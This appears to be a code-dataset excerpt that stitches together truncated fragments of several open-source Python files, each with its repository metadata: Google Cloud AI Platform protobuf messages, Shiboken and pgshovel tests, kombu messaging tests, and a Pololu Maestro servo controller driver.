s = proto.RepeatedField( proto.MESSAGE, number=1, message=gca_featurestore.Featurestore, ) next_page_token = proto.Field(proto.STRING, number=2,) class UpdateFeaturestoreRequest(proto.Message): r"""Request message for [FeaturestoreService.UpdateFeaturestore][google.cloud.aiplatform.v1.Feature
o11c/shiboken2
tests/samplebinding/ownership_invalidate_nonpolymorphic_test.py
Python
gpl-2.0
1,773
0.00282
#!/usr/bin/env python # -*- coding: utf-8 -*- # # This file is part of the Shiboken Python Bindings Generator project. # # Copyright (C) 2013 Digia Plc and/or its subsidiary(-ies). # # Contact: PySide team <contact@pyside.org> # # This program is free software; you can redistribute it and/or # modify it under the terms...
http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. # # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY
WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this program; if not, write to the Free Software # Foundation, In...
fuziontech/pgshovel
tests/pgshovel/utilities/conversions.py
Python
apache-2.0
1,467
0.000682
from pgshovel.interfaces.common_pb2 import ( Column, Row, Snapshot, Timestamp, ) from pgshovel.utilities.conversions import ( RowConverter, to_snapshot, to_timestamp, ) from tests.pgshovel.streams.fixtures import reserialize def test_row_conversion(): converter = RowConverter(sorted=Tr...
hot_conversion(): assert to_snapshot('1:10:') == Snapshot( min=1, max=10, ) def test_snapshot_conversion_in_progress(): assert to_snapshot('1:10:2,3,4') == Snapshot( min=1, max=10, active=[2, 3, 4], ) def test_timetamp_conversion(): assert to_timestamp(143...
p( seconds=1438814328, nanos=940597057, # this is different due to floating point arithmetic )
Elastica/kombu
kombu/tests/test_messaging.py
Python
bsd-3-clause
24,631
0
from __future__ import absolute_import, unicode_literals import pickle import sys from collections import defaultdict from kombu import Connection, Consumer, Producer, Exchange, Queue from kombu.exceptions import MessageStateError from kombu.utils import ChannelPromise from kombu.utils import json from .case import...
self.assertIn('exchange_declare', channel, 'p.declare() declares
exchange') def test_prepare(self): message = {'the quick brown fox': 'jumps over the lazy dog'} channel = self.connection.channel() p = Producer(channel, self.exchange, serializer='json') m, ctype, cencoding = p._prepare(message, headers={}) self.assertDictEqual(message, jso...
rbmj/pyflightcontrol
pyflightcontrol/aircraft/maestro.py
Python
apache-2.0
7,867
0.006483
import serial from usb import core enc = 'latin_1' # raw convert code point to bytes # #--------------------------- # Maestro Servo Controller #--------------------------- # # Support for the Pololu Maestro line of servo controllers # # Steven Jacobs -- Aug 2013 # https://github.com/FRC4564/Maestro/ # # These functio...
elf.Mins[chan] # if Max is defined and Target is above, force to Max if self.Maxs[chan] > 0 and target > self.Maxs[chan]: target = self.Maxs[chan] # lsb = target & 0x7f #7 bits f
or least significant byte msb = (target >> 7) & 0x7f #shift 7 and take next 7 bits for msb # Send Pololu intro, device number, command, channel, and target lsb/msb cmd = self.PololuCmd + chr(0x04) + chr(chan) + chr(lsb) + chr(msb) self._write(bytes(cmd, enc)) # Record Target valu...